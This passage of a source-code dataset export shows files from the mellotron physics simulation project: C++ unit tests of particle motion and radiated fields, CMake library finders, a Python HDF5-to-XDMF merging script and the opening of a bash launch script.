should be unity: \" << field.norm_factor << std::endl;\n\n // Output the data.\n x_field *= UNIT_LENGTH;\n y_field *= UNIT_LENGTH;\n\n //x_field.save(\"x_field_salamin.txt\", arma::raw_ascii);\n //y_field.save(\"y_field_salamin.txt\", arma::raw_ascii);\n field_values.save(\"SalaminField_qed.txt\", arma::raw_ascii);\n}\n\nGTEST_API_ int main(int argc, char **argv)\n{\n H5open();\n printf(\"Running main() UnitTest-SalaminTightlyFocused.cpp.\\n\");\n testing::InitGoogleTest(&argc, argv);\n auto result = RUN_ALL_TESTS();\n H5close();\n\n return result;\n}\n" }, { "alpha_fraction": 0.5751748085021973, "alphanum_fraction": 0.5821678042411804, "avg_line_length": 35.90322494506836, "blob_id": "5f5d71047548b8253af00aa00eb41e1880ed9ec2", "content_id": "9055b60f881ec4f3e29044c30653674ac28617af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1144, "license_type": "no_license", "max_line_length": 91, "num_lines": 31, "path": "/cmake/Modules/Findcuba.cmake", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Denis Gagnon <[email protected]> #\n# Date created: 2017-06-13 #\n# Description: Attempts to find the cuba library. #\n# ----------------------------------------------------------------------------#\n\n# -- LibFindMacros for convenience\n# https://github.com/Tronic/cmake-modules/blob/master/LibFindMacros.cmake\ninclude(LibFindMacros)\n\n# -- We use pkg-config to give information about the\nlibfind_pkg_check_modules(cuba_PKGCONF Cubature)\n\nfind_path(cuba_INCLUDE_DIR\n NAMES cuba.h\n PATHS ${cuba_PKGCONF_INCLUDE_DIRS}\n HINT external/Cuba\n)\n\n# Finally the library itself\nfind_library(cuba_LIBRARY \n NAMES cuba libcuba\n PATHS ${CUBATURE_PKGCONF_LIBRARY_DIRS}\n HINT external/Cuba\n)\n\n# Set the include dir variables and the libraries and let libfind_process do the rest.\n# NOTE: Singular variables for this library, plural for libraries this this lib depends on.\nset(cuba_PROCESS_INCLUDE cuba_INCLUDE_DIR)\nset(cuba_PROCESS_LIB cuba_LIBRARY)\nlibfind_process(cuba)\n" }, { "alpha_fraction": 0.6158125400543213, "alphanum_fraction": 0.6275761723518372, "avg_line_length": 40.537879943847656, "blob_id": "6899572f8a3ba7c5fe3481c981cd591e58e49d3b", "content_id": "7ce50dcbea1a7b4ba541eefe21e66f3df4974cc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10968, "license_type": "no_license", "max_line_length": 183, "num_lines": 264, "path": "/simulations/manageOutputs.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "import os as os\nimport argparse as ap\nimport h5py as hp\nimport sys as sys\n\ndef writeAttribute1(of, n, nTimeSteps, nParticles,nameOfAttribute):\n \"\"\"\n Writes into the global.xdmf file an attribute that only has one dimension such as chi or gamma.\n \"\"\"\n of.write('<Attribute Name=\"' + str(nameOfAttribute) + '\" Center=\"Node\">\\n')\n of.write('<DataItem Format=\"HDF\" ItemType=\"HyperSlab\" Dimensions=\"1 ' + str(nParticles) + '\">\\n')\n of.write('<DataItem Dimensions=\"3 2\" NumberType=\"Int\">\\n')\n of.write(str(n) + ' 0\\n')\n of.write('1 1\\n')\n of.write('1 ' + str(nParticles) + '\\n')\n of.write('</DataItem>\\n')\n of.write('<DataItem Name=\"' + str(nameOfAttribute) + '\" Format=\"HDF\" NumberType=\"Float\" Dimensions=\"' + str(nTimeSteps) + ' ' + str(nParticles) + '\">\\n')\n of.write('global.hdf5:/' + str(nameOfAttribute) + '\\n')\n of.write('</DataItem>\\n')\n of.write('</DataItem>\\n')\n of.write('</Attribute>\\n')\n\ndef writeAttribute3(of, n, nTimeSteps, nParticles, nameOfAttribute):\n \"\"\"\n Writes into the global.xdmf file an attribute that only has one dimension such as the electric field or the magnetic field.\n \"\"\"\n of.write('<Attribute Name=\"' + str(nameOfAttribute) + '\" Center=\"Node\">\\n')\n of.write('<DataItem Format=\"HDF\" ItemType=\"HyperSlab\" Dimensions=\"1 ' + str(nParticles) + ' 3\">\\n')\n of.write('<DataItem Dimensions=\"3 3\" NumberType=\"Int\">\\n')\n of.write(str(n) + ' 0 0\\n')\n of.write('1 1 1\\n')\n of.write('1 ' + str(nParticles) + ' 3\\n')\n of.write('</DataItem>\\n')\n of.write('<DataItem Name=\"' + str(nameOfAttribute) + '\" Format=\"HDF\" NumberType=\"Float\" Dimensions=\"' + str(nTimeSteps) + ' ' + str(nParticles) + ' 3\">\\n')\n of.write('global.hdf5:/' + str(nameOfAttribute) + '\\n')\n of.write('</DataItem>\\n')\n of.write('</DataItem>\\n')\n of.write('</Attribute>\\n')\n\ndef generateXMF(directory, nParticles, nTimeSteps):\n \"\"\"\n Creates the global.xdmf file and writes the timesteps list in it.\n For each of the timesteps, this function writes the position in 3D and the attributes of the particle.\n \"\"\"\n # Initialize xdmf file\n of = open(directory + 'global.xdmf','w')\n of.write('<?xml version=\"1.0\" ?>\\n')\n of.write('<!DOCTYPE Xdmf SYSTEM \"Xdmf.dtd\" []>\\n')\n of.write('<Xdmf Version=\"2.1\">\\n')\n of.write('<Domain>\\n')\n of.write('<Grid Name=\"Temporal Collection\" GridType=\"Collection\" CollectionType=\"Temporal\">\\n')\n\n # Write the timesteps list\n of.write('<Time TimeType=\"List\">\\n')\n of.write('<DataItem ItemType=\"HyperSlab\" Dimensions=\"' + str(nTimeSteps) + '\">\\n')\n of.write('<DataItem Dimensions=\"3 1\">\\n')\n of.write('0\\n')\n of.write('1\\n')\n of.write(str(nTimeSteps) + '\\n')\n of.write('</DataItem>\\n')\n of.write('<DataItem Name=\"times\" Format=\"HDF\" NumberType=\"Float\" Dimensions=\"' + str(nTimeSteps) + '\">\\n')\n of.write('global.hdf5:/times\\n')\n of.write('</DataItem>\\n')\n of.write('</DataItem>\\n')\n of.write('</Time>\\n')\n\n # For each timestep\n for n in range(0, nTimeSteps):\n # Declare a grid of points\n of.write('<Grid Name=\"timestep' + str(n) + '\" GridType=\"Uniform\">\\n')\n of.write('<Topology TopologyType=\"Polyvertex\" NodesPerElement=\"1\" NumberOfElements=\"' + str(nParticles) + '\"/>\\n')\n of.write('<Geometry GeometryType=\"XYZ\">\\n')\n of.write('<DataItem ItemType=\"HyperSlab\" Dimensions=\"1 ' + str(nParticles) + ' 3\">\\n')\n of.write('<DataItem Dimensions=\"3 3\" NumberType=\"Int\">\\n')\n of.write(str(n) + ' 0 0\\n')\n of.write('1 1 1\\n')\n of.write('1 ' + str(nParticles) + ' 3\\n')\n of.write('</DataItem>\\n')\n of.write('<DataItem Name=\"position\" Format=\"HDF\" NumberType=\"Float\" Dimensions=\"' + str(nTimeSteps) + ' ' + str(nParticles) + ' 3\">\\n')\n of.write('global.hdf5:/position\\n')\n of.write('</DataItem>\\n')\n of.write('</DataItem>\\n')\n of.write('</Geometry>\\n')\n\n # Write attributes\n # -- chi\n writeAttribute1(of, n, nTimeSteps, nParticles, \"chi\")\n # -- gamma\n writeAttribute1(of, n, nTimeSteps, nParticles, \"gamma\")\n # -- magnetic_field\n writeAttribute3(of, n, nTimeSteps, nParticles, \"magnetic_field\")\n # -- electric_field\n writeAttribute3(of, n, nTimeSteps, nParticles, \"electric_field\")\n # -- momentum\n writeAttribute3(of, n, nTimeSteps, nParticles, \"momentum\")\n\n # Close grid after writing attributes\n of.write('</Grid>\\n')\n\n # Close all nametags to finalize and close file\n of.write('</Grid>\\n')\n of.write('</Domain>\\n')\n of.write('</Xdmf>\\n')\n of.close()\n\n\ndef addToGlobal(directory, partialfile, globalGroup, nTimeSteps, n):\n \"\"\"\n Reads the chi, gamma, magnetic, electric, momentum and position values\n from the single particle HDF5 output and accumulates the data in the\n global file.\n \"\"\"\n # Fill the particle dimension in global hdf5 file\n partialFile = hp.File(directory + partialfile, \"r\")\n partialGroup = partialFile.require_group(partialfile)\n # -- chi\n partialData = partialGroup[\"chi\"]\n globalData = globalGroup[\"chi\"]\n globalData[0:nTimeSteps, n] = partialData[0:nTimeSteps]\n # -- gamma\n partialData = partialGroup[\"gamma\"]\n globalData = globalGroup[\"gamma\"]\n globalData[0:nTimeSteps, n] = partialData[0:nTimeSteps]\n # -- magnetic_field\n partialData = partialGroup[\"magnetic_field\"]\n globalData = globalGroup[\"magnetic_field\"]\n globalData[0:nTimeSteps, n, 0:3] = partialData[0:nTimeSteps, 0:3]\n # -- electric_field\n partialData = partialGroup[\"electric_field\"]\n globalData = globalGroup[\"electric_field\"]\n globalData[0:nTimeSteps, n, 0:3] = partialData[0:nTimeSteps, 0:3]\n # -- momentum\n partialData = partialGroup[\"momentum\"]\n globalData = globalGroup[\"momentum\"]\n globalData[0:nTimeSteps, n, 0:3] = partialData[0:nTimeSteps, 0:3]\n # -- position\n partialData = partialGroup[\"position\"]\n globalData = globalGroup[\"position\"]\n globalData[0:nTimeSteps, n, 0:3] = partialData[0:nTimeSteps, 0:3]\n\n # -- close partial hdf5 file\n partialFile.close()\n\ndef accumulateLWInGlobal(directory, partialfile, globalGroup, nTimeSteps):\n \"\"\"\n Reads the Liรฉnard-Wiechert fields from the single particle HDF5 output\n and accumulates the data in the global file.\n \"\"\"\n # -- Open the single-particle file (group is the same as the filename).\n partialFile = hp.File(directory + partialfile, \"r\")\n partialGroup = partialFile.require_group(partialfile+\"/lienard-wiechert-fields\")\n\n # -- Accumulate the fields.\n globalGroup[\"electric_field\"][:] += partialGroup[\"electric_field\"][:]\n globalGroup[\"magnetic_field\"][:] += partialGroup[\"magnetic_field\"][:]\n\n # -- Close the resources.\n partialFile.close()\n\ndef main():\n \"\"\"\n Manage the .hdf5 output files to create a global .hdf5 file complemented\n with a .xdmf file to be read in Paraview.\n\n Author: Justine Pepin <[email protected]>\n \"\"\"\n\n # Command line arguments\n parser = ap.ArgumentParser(description=\"Manage the .hdf5 output files.\")\n parser.add_argument(\"--directory\", type=str, default=\"./\",\n help=\"Target directory containing output files\")\n parser.add_argument(\"--lw\", type=bool, default=False,\n help=\"Switch whether to sum the Liรฉnard-Wiechert fields.\")\n\n # Parse arguments\n args = parser.parse_args()\n\n # Target directory\n directory = args.directory\n if( not directory.endswith(\"/\")):\n directory += \"/\"\n\n # Find a times model and calculate the number of particles\n timesModel = \"\"\n nParticles = 0\n for file in os.listdir(directory):\n if file.endswith(\".hdf5\"):\n if file != \"global.hdf5\":\n nParticles += 1\n timesModel = file\n\n if nParticles == 0 or timesModel == \"\":\n print(\"It seems like the folder you gave doesn\\'t have hdf5 files in it.\")\n sys.exit()\n\n # Determine exactly how many time steps there are.\n timesModelFile = hp.File(directory + timesModel, \"r\")\n timesModelGroup = timesModelFile.require_group(timesModel)\n timesModelTimes = timesModelGroup[\"times\"]\n nTimeSteps = timesModelTimes.len()\n\n # Create canvas of global hdf5 file\n globalFile = hp.File(directory + \"global.hdf5\", \"w\")\n globalGroup = globalFile.require_group(\"/\")\n\n # -- times\n globalGroup.copy(timesModelTimes, \"times\", \"times\", False, False, False, False, False)\n # -- chi\n globalGroup.create_dataset(\"chi\", (nTimeSteps, nParticles), dtype=\"f8\")\n # -- gamma\n globalGroup.create_dataset(\"gamma\", (nTimeSteps, nParticles), dtype=\"f8\")\n # -- magnetic_field\n globalGroup.create_dataset(\"magnetic_field\", (nTimeSteps, nParticles, 3), dtype=\"f8\")\n # -- electric_field\n globalGroup.create_dataset(\"electric_field\", (nTimeSteps, nParticles, 3), dtype=\"f8\")\n # -- momentum\n globalGroup.create_dataset(\"momentum\", (nTimeSteps, nParticles, 3), dtype=\"f8\")\n # -- position\n globalGroup.create_dataset(\"position\", (nTimeSteps, nParticles, 3), dtype=\"f8\")\n\n # Find all .hdf5 files in given directory\n n = -1\n for file in os.listdir(directory):\n if file.endswith(\".hdf5\"):\n if file != \"global.hdf5\":\n if n < nParticles:\n n = n + 1\n else:\n break\n addToGlobal(directory, file, globalGroup, nTimeSteps, n)\n\n # -- If LW is set, we create a lienard-wiechert-fields group in global.hdf5,\n # -- copy the theta and phi datasets from a single partial HDF5 file,\n # -- then accumulate the fields emitted by all particles.\n if (args.lw):\n # -- We copy the data to groups in the global hdf5 file.\n LW_ModelGroup = timesModelGroup[\"lienard-wiechert-fields\"]\n globalLWGroup = globalGroup.create_group(\"lienard-wiechert-fields\")\n LW_ModelGroup.copy(\"phi\", globalLWGroup)\n LW_ModelGroup.copy(\"theta\", globalLWGroup)\n\n # -- We now create the field datasets in the global file.\n globalLWGroup.create_dataset(\"electric_field\", (nTimeSteps, LW_ModelGroup[\"electric_field\"].shape[1], LW_ModelGroup[\"electric_field\"].shape[2], 3), dtype=float, fillvalue=0.0)\n globalLWGroup.create_dataset(\"magnetic_field\", (nTimeSteps, LW_ModelGroup[\"electric_field\"].shape[1], LW_ModelGroup[\"electric_field\"].shape[2], 3), dtype=float, fillvalue=0.0)\n\n n = -1\n for file in os.listdir(directory):\n if file.endswith(\".hdf5\"):\n if file != \"global.hdf5\":\n if n < nParticles:\n n = n + 1\n else:\n break\n accumulateLWInGlobal(directory, file, globalLWGroup, nTimeSteps)\n\n\n # -- Close remaining resources.\n timesModelFile.close()\n globalFile.close()\n\n generateXMF(directory, nParticles, nTimeSteps)\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5577424168586731, "alphanum_fraction": 0.57964026927948, "avg_line_length": 34.03196334838867, "blob_id": "f1d653a28d11f00d5d342d11910e28a0fdf7eb6a", "content_id": "2e468bc5613edba733fad82a2f13d301ad3f784e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7673, "license_type": "no_license", "max_line_length": 191, "num_lines": 219, "path": "/tests/UnitTest-ParticleObserverLienardWiechert.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont <[email protected]> *\n * \\since 2017-.7-23 *\n * *\n * Unit test of ParticleObserverLineardWiechert in MELLOTRON. The particle *\n * is an electron in a magnetic field. We test whether the class *\n * ParticleObserverLienardWiechert properly computes and outputs the field. *\n * --------------------------------------------------------------------------*/\n\n#include <gtest/gtest.h>\n\n#include <iostream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\n#include <algorithm>\n\n#include <armadillo>\n#include <mellotron>\n#include <boost/numeric/odeint.hpp>\n\n\nusing namespace boost::numeric::odeint;\n\nusing namespace mellotron;\n\nstruct ConstantField\n{\n ConstantField(double my_Ex, double my_Ey, double my_Ez, double my_Bx, double my_By, double my_Bz)\n : Ex(my_Ex)\n , Ey(my_Ey)\n , Ez(my_Ez)\n , Bx(my_Bx)\n , By(my_By)\n , Bz(my_Bz)\n {}\n\n ConstantField()\n : Ex(0.0)\n , Ey(0.0)\n , Ez(0.1)\n , Bx(0.0)\n , By(0.0)\n , Bz(0.0)\n {}\n\n std::array<double,6> ComputeFieldComponents(double t, double x, double y, double z) const\n {\n std::array<double,6> constant = {Ex,Ey,Ez,Bx,By,Bz};\n return constant;\n }\n\n double Ex,Ey,Ez,Bx,By,Bz;\n};\n\n// We declare a test fixture to test a specific instance\n// of Particle.\nclass ParticleTest : public testing::Test\n{\npublic:\n ParticleTest()\n : charge(2.0)\n , mass(3.0)\n , radius(1e10)\n , number_points_theta(50)\n , number_points_phi(50)\n , electron_units(1.0)\n , electron(charge,mass,field,electron_units)\n , electron_obs(electron,radius,number_points_theta,number_points_phi,100)\n {}\n\n const double charge;\n const double mass;\n const double radius;\n const uint number_points_theta;\n const uint number_points_phi;\n\n ConstantField field;\n MellotronUnits electron_units;\n Particle<ConstantField> electron;\n ParticleObserverLienardWiechert<ConstantField> electron_obs;\n\nprotected:\n\n virtual void SetUp()\n {\n }\n\n};\n\n\n// We test that we compute the right solution for a uniform magnetostatic field.\nTEST_F(ParticleTest, TestIntegrationMagnetostatic)\n{\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = 0.0;\n double y_init = 0.0;\n double z_init = 0.0;\n double px_init = 0.1;\n double py_init = 0.1;\n double pz_init = 0.0;\n\n // Times at which we output the data.\n unsigned int size_time = 250;\n arma::colvec times = arma::linspace<arma::colvec>(0.0,10.0,size_time);\n\n // Set the initial conditions.\n electron.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n // Set the field.\n field.Ez=0.0;\n field.Bz=1.0;\n double omega = charge*field.Bz/x[4];\n double theta_0 = std::atan2(px_init,py_init);\n double p_perp = std::sqrt(px_init*px_init+py_init*py_init);\n\n std::cout << \"Initial conditions\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n size_t steps = integrate_times(make_dense_output(1.0e-8,1.0e-8, runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(electron),\n x,\n boost::begin(times),\n boost::end(times),\n 0.01,\n std::ref(electron_obs));\n std::cout << steps << std::endl << std::endl;\n\n std::cout << \"Final vector\" << std::endl;\n for (uint i=0; i<8; i++)\n {\n std::cout << x[i] << std::endl;\n }\n std::cout << std::endl;\n\n // We interpolate the LW fields.\n //electron_obs.InterpolateLWFieldsOnRetardedTime();\n\n // Comparison between recorded data and analytical solution.\n for (uint i=0; i<size_time; i++)\n {\n\n std::cout << electron_obs.times[i] << \"\\t\" << electron_obs.times_lw[i][0][number_points_phi/2] << \"\\t\" << electron_obs.times[i] - electron_obs.times_lw[i][0][number_points_phi/2] << \"\\n\";\n arma::colvec position(3);\n position(0) = -p_perp/(omega*electron_obs.gamma[i]*mass)*(cos(omega*electron_obs.times[i]+theta_0)-cos(theta_0)) + x_init;\n position(1) = p_perp/(omega*electron_obs.gamma[i]*mass)*(sin(omega*electron_obs.times[i]+theta_0)-sin(theta_0)) + y_init;\n position(2) = pz_init/(electron_obs.gamma[i]*mass)*electron_obs.times[i]+z_init;\n\n arma::colvec momentum(3);\n momentum(0) = p_perp*std::sin(omega*electron_obs.times[i]+theta_0);\n momentum(1) = p_perp*std::cos(omega*electron_obs.times[i]+theta_0);\n momentum(2) = pz_init;\n\n arma::colvec momentump(3);\n momentump(0) = p_perp*omega*std::cos(omega*electron_obs.times[i]+theta_0);\n momentump(1) = -p_perp*omega*std::sin(omega*electron_obs.times[i]+theta_0);\n momentump(2) = 0.0;\n\n EXPECT_NEAR(electron_obs.momentum(0,i), momentum(0), 1.0e-5);\n EXPECT_NEAR(electron_obs.momentum(1,i), momentum(1), 1.0e-5);\n EXPECT_NEAR(electron_obs.momentum(2,i), momentum(2), 1.0e-6);\n\n EXPECT_NEAR(electron_obs.position(0,i), position(0), 1.0e-5);\n EXPECT_NEAR(electron_obs.position(1,i), position(1), 1.0e-5);\n EXPECT_NEAR(electron_obs.position(2,i), position(2), 1.0e-5);\n\n // Find the maximum of the LW electric field.\n double max_e_field = *(std::max_element(electron_obs.electric_field_lw.origin(),\n electron_obs.electric_field_lw.origin() + electron_obs.electric_field_lw.num_elements()));\n\n // Now compute the Liรฉnard-Wiechert fields.\n for (uint j=0; j<electron_obs.number_points_theta; j++)\n {\n double theta = electron_obs.theta[j];\n for (uint k=0; k<electron_obs.number_points_phi; k++)\n {\n double phi = electron_obs.phi[k];\n\n // Compute the normal as simply r.\n arma::colvec normal(3);\n normal(0) = std::sin(theta)*std::cos(phi);\n normal(1) = std::sin(theta)*std::sin(phi);\n normal(2) = std::cos(theta);\n\n // We compute the prefactor.\n double prefactor = constants::physics::hbar/(constants::physics::electron_mass*std::pow(constants::physics::c,2))\n * constants::physics::alpha * charge / electron_obs.radius;\n double denominator = std::pow(1.0-arma::dot(normal,momentum)/(electron_obs.gamma[i]*mass),-3.0);\n\n // We compute the field.\n arma::colvec firstTerm = normal-momentum/(electron_obs.gamma[i]*mass);\n arma::colvec secondTerm= momentum/(electron_obs.gamma[i]*mass) - arma::dot(momentum,momentump)*momentum/std::pow(electron_obs.gamma[i]*mass,3);\n\n arma::colvec e_field_lw = prefactor*denominator*arma::cross(normal, arma::cross(firstTerm,secondTerm));\n\n EXPECT_NEAR(electron_obs.electric_field_lw[i][j][k][0]/max_e_field, e_field_lw(0)/max_e_field, 1.0e-3);\n EXPECT_NEAR(electron_obs.electric_field_lw[i][j][k][1]/max_e_field, e_field_lw(1)/max_e_field, 1.0e-3);\n EXPECT_NEAR(electron_obs.electric_field_lw[i][j][k][2]/max_e_field, e_field_lw(2)/max_e_field, 1.0e-3);\n }\n }\n }\n electron_obs.OutputData();\n}\n\nGTEST_API_ int main(int argc, char **argv)\n{\n H5open();\n printf(\"Running main() UnitTest-Particle.cpp.\\n\");\n testing::InitGoogleTest(&argc, argv);\n auto result = RUN_ALL_TESTS();\n H5close();\n\n return result;\n}\n" }, { "alpha_fraction": 0.52915358543396, "alphanum_fraction": 0.5360501408576965, "avg_line_length": 29.673076629638672, "blob_id": "a90a254611d290a4a66dc6b69cfa5a3d789ed443", "content_id": "f719bb87fb00319c5a78d71e84f7a78aaa99d785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3190, "license_type": "no_license", "max_line_length": 121, "num_lines": 104, "path": "/simulations/ComputeNormalizationConstantSalaminLinear.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont *\n * \\since 2017-05-17 *\n * *\n * Computation of the normalization constant needed for the evaluation of the *\n * Salamin linearly polarized fields for a given set of parameters. *\n * --------------------------------------------------------------------------*/\n\n#include <armadillo>\n#include <mellotron>\n\n#include <iostream>\n#include <iomanip>\n#include <fstream>\n#include <string>\n#include <vector>\n\n#include <boost/property_tree/xml_parser.hpp>\n#include <boost/property_tree/ptree.hpp>\n#include <boost/foreach.hpp>\n\n\nstruct ComputeNormConstConfig\n{\n double lam_;\n double w0_;\n double L_;\n void read(std::ifstream& file, ComputeNormConstConfig*& config);\n};\n\nvoid ComputeNormConstConfig::read(std::ifstream& file, ComputeNormConstConfig*& config)\n{\n using boost::property_tree::ptree;\n ptree pt;\n read_xml(file, pt);\n BOOST_FOREACH(ptree::value_type const& v, pt.get_child(\"config\"))\n {\n if(v.first == \"integration_salamin\")\n {\n config = new ComputeNormConstConfig();\n config->lam_ = v.second.get<double>(\"lambda\");\n config->w0_ = v.second.get<double>(\"w0\");\n config->L_ = v.second.get<double>(\"L\");\n }\n }\n\n if(config == nullptr)\n {\n throw std::runtime_error(\"Missing integration_salamin config.\");\n }\n}\n\n\nint main(int argc, char* argv[])\n{\n // Open config file\n std::ifstream conf_file;\n conf_file.open(\"configSalamin.xml\");\n if(!conf_file.is_open())\n {\n std::cout\n << \"the config file must be in the same directory... Exiting.\"\n << std::endl;\n return 0;\n }\n\n // Read config file\n ComputeNormConstConfig* config = nullptr;\n config->ComputeNormConstConfig::read(conf_file, config);\n\n // Parse lambda to instantiate the proper MellotronUnits object.\n double lambda = config->lam_;\n\n // Compute the proper electronic units.\n mellotron::MellotronUnits electron_units(2.0*mellotron::constants::math::pi*mellotron::constants::physics::c/lambda);\n\n // Convert everything to electronic units.\n lambda /= electron_units.UNIT_LENGTH;\n\n double w0 = config->w0_ * lambda;\n double L = config->L_ * lambda;\n\n // Create the field object.\n mellotron::SalaminTightlyFocusedLinear field(lambda,w0,L,1.0);\n\n // Output the normalization constant in a file.\n std::ofstream outfile;\n outfile.open(\"normalization_constant.txt\", std::ios::trunc);\n outfile << \"# lambda \\t\"\n << \"w0 \\t\\t\"\n << \"L \\t\\t\"\n << \"norm. constant \\n\";\n outfile << std::scientific << config->lam_\n << \"\\t\"\n << std::scientific << config->w0_\n << \"\\t\"\n << std::scientific << config->L_\n << \"\\t\"\n << std::scientific << field.norm_factor\n << \"\\n\";\n outfile.close();\n delete config;\n return 0;\n}\n" }, { "alpha_fraction": 0.6158357858657837, "alphanum_fraction": 0.6236559152603149, "avg_line_length": 34.27586364746094, "blob_id": "718e8b1d2f2ac6f34fc9eeefb7eba5d5fa923075", "content_id": "08938b8df31ca7175b194cf9370b2248c15b8a83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1023, "license_type": "no_license", "max_line_length": 86, "num_lines": 29, "path": "/cmake/Modules/Findarmadillo.cmake", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Denis Gagnon <[email protected]> #\n# Date: 2017-06-12 #\n# Description: CMake module to find armadillo. #\n# ----\n\n# -- LibFindMacros for convenience\n# https://github.com/Tronic/cmake-modules/blob/master/LibFindMacros.cmake\ninclude(LibFindMacros)\n\n# Use pkg-config to get hints about paths\nlibfind_pkg_check_modules(armadillo_PKGCONF armadillo)\n\n# Include dir\nfind_path(armadillo_INCLUDE_DIR\n NAMES armadillo\n PATHS ${armadillo_PKGCONF_INCLUDE_DIRS}\n)\n\n# Finally the library itself\nfind_library(armadillo_LIBRARY \n NAMES libarmadillo libarmadillo.so libarmadillo.dylib\n PATHS ${armadillo_PKGCONF_LIBRARY_DIRS}\n)\n\n# Set the include dir variables and the libraries and let libfind_process do the rest.\nset(armadillo_PROCESS_INCLUDE armadillo_INCLUDE_DIR)\nset(armadillo_PROCESS_LIB armadillo_LIBRARY)\nlibfind_process(armadillo)\n" }, { "alpha_fraction": 0.5135895013809204, "alphanum_fraction": 0.5178069472312927, "avg_line_length": 52.349998474121094, "blob_id": "a30a882c8b21df7838240a77bcda6d5330fc4387", "content_id": "757b4cd0e04bd67aa3a869eb4df1094d77d4a402", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 2134, "license_type": "no_license", "max_line_length": 91, "num_lines": 40, "path": "/cmake/Modules/FindZernike.cmake", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Date: 2015-09-06 #\n# Description: Attempts to find the Zernike library. #\n# License: CC0 - Public Domain #\n# #\n# This CMake module attemps to find the Zernike library. Once it is done, #\n# the following will be defined: #\n# - Zernike_FOUND: if system has Zernike and everything is parsed; #\n# - Zernike_INCLUDE_DIR: folder where headers are. #\n# - Zernike_LIBRARY: library against which to link. #\n# #\n# This file is part of the Zernike library. It is thus freely available and #\n# infinitely modifiable and copyable. As it is with such products, it comes #\n# with absolutely no warranty. It might even have bugs (!). If so, feel free #\n# to drop a line at the email address above, or visit: #\n# https://github.com/valandil/zernike #\n# ----------------------------------------------------------------------------#\n\n# -- LibFindMacros for convenience\n# https://github.com/Tronic/cmake-modules/blob/master/LibFindMacros.cmake\ninclude(LibFindMacros)\n\n# -- We use pkg-config to give information about the\nlibfind_pkg_check_modules(Zernike_PKGCONF zernike)\n\nfind_path(Zernike_INCLUDE_DIR\n NAMES zernike\n PATHS ${Zernike_PKGCONF_INCLUDE_DIRS})\n\nfind_library(Zernike_LIBRARY\n NAMES Zernike\n PATHS ${Zernike_PKGCONF_LIBRARY_DIRS}\n)\n\n# Set the include dir variables and the libraries and let libfind_process do the rest.\n# NOTE: Singular variables for this library, plural for libraries this this lib depends on.\nset(Zernike_PROCESS_INCLUDE Zernike_INCLUDE_DIR)\nset(Zernike_PROCESS_LIB Zernike_LIBRARY)\nlibfind_process(Zernike)\n" }, { "alpha_fraction": 0.5842739343643188, "alphanum_fraction": 0.5976659655570984, "avg_line_length": 35.048274993896484, "blob_id": "6b6fc439bbd9a0a4bdbed93cffe3715640eaeb3a", "content_id": "6e22d329defedfe3033983321fe07e3eb72e671f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5227, "license_type": "no_license", "max_line_length": 105, "num_lines": 145, "path": "/simulations/automaticStart.sh", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# ------------------------------------------------------------------------------------- #\n# \\file automaticStart.sh #\n# \\author Justine Pepin <[email protected]> #\n# \\since 2017-05-19 #\n# #\n# This bash file start automatically the simulation of the MELLOTRON. #\n# #\n# Usage: ./automaticStart.sh -d <dirname> -c <name of config.xml> -s <shape> -j <njobs> #\n# -t <BOOL:varInitTime> #\n# Where dirname is the name of the directory containing a configSalamin.xml #\n# ------------------------------------------------------------------------------------- #\n\necho -e \" \\e[95m--- MELLOTRON SIMULATION AUTOMATIC START ---\\e[39m\"\nDIR=\"./\"\nCONFIG=\"configSalamin.xml\"\nSHAPE=\"sphere\"\nNJOBS=\"8\"\nVARINITTIME=false\nwhile getopts \":d:c:s:j:\" opt; do\n case $opt in\n d)\n DIR=$OPTARG\n ;;\n c)\n CONFIG=$OPTARG\n ;;\n s)\n SHAPE=$OPTARG\n ;;\n j)\n NJOBS=$OPTARG\n ;;\n t)\n VARINITTIME=$OPTARG\n ;;\n esac\ndone\n\n# Initialize the variables\nGENINIT=\"GenerateInitialConditions.py\"\nINTEGSAL=\"IntegrationSalamin\"\nINTEGSALION=\"IntegrationSalaminIonized\"\nINTEGSTRATTOLIN=\"IntegrationStrattoLinear\"\nINTEGSTRATTOLINSG=\"IntegrationStrattoLinearSG\"\nINTEGSTRATTOLINSGZERNIKE=\"IntegrationStrattoLinearSGZernike\"\nINTEGSTRATTOLINZERNIKE=\"IntegrationStrattoLinearZernike\"\nINTEGSTRATTOMOS=\"IntegrationStrattoMosaic\"\nINTEGSTRATTOMOSSG=\"IntegrationStrattoMosaicSG\"\nINTEGSTRATTOMOSSGZERNIKE=\"IntegrationStrattoMosaicSGZernike\"\nINTEGSTRATTORAD=\"IntegrationStrattoRadial\"\nCOMPNORMCONST=\"ComputeNormalizationConstantSalaminLinear\"\nMANAGEOUT=\"manageOutputs.py\"\nPRODUCEPLOTS=\"producePlots.py\"\ncp $GENINIT ./$DIR\ncp $INTEGSAL ./$DIR\ncp 